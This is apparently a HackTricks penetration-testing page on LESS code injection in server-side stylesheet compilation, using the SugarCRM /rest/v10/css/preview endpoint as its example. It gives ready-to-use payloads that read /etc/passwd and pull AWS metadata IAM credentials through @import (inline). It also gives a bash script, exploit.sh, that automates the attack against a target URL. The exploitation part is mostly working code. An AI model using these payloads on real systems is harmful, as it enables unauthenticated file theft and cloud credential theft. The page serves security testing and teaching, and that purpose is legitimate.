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// HackTricks · Web Pentesting

LESS Code Injection leading to SSRF & Local File Read

LESS Code Injection leading to SSRF & Local File Read

LESS is a CSS preprocessor with variables, mixins, functions, and @import. With the (inline) import option, the compiler copies the imported resource into CSS output without processing it as LESS. Server-side fetching, accepted URL schemes, and local-file access depend on the compiler implementation and options.[4]

When an application concatenates user-controlled input into a string that is later parsed by the LESS compiler, an attacker can inject arbitrary LESS code. By abusing @import (inline) the attacker can force the server to retrieve:

  • Local files via the file:// protocol (information disclosure / Local File Inclusion).
  • Remote resources on internal networks or cloud metadata services (SSRF).

This technique affected the SugarCRM /rest/v10/css/preview endpoint in the version ranges documented by SA-2024-059; do not reduce the advisory’s edition-specific ranges to a universal “≤ 14.0.0” claim.[1][2][3]

Exploitation

  1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. ?lm= in SugarCRM).[1]
  2. Close the current statement and inject new directives. The most common primitives are:
    • ; – terminates the previous declaration.
    • } – closes the previous block (if required).
  3. Use @import (inline) '<URL>'; to read arbitrary resources.
  4. Optionally inject a marker (data: URI) after the import to ease extraction of the fetched content from the compiled CSS.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

The contents of /etc/passwd will appear in the HTTP response just before the @@END@@ marker.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automated PoC (SugarCRM example)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
  sed -n 's/.*@@END@@\(.*\)/\1/p'

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM (affected ranges in SA-2024-059)/rest/v10/css/preview?lm=Unauthenticated SSRF and local file read

References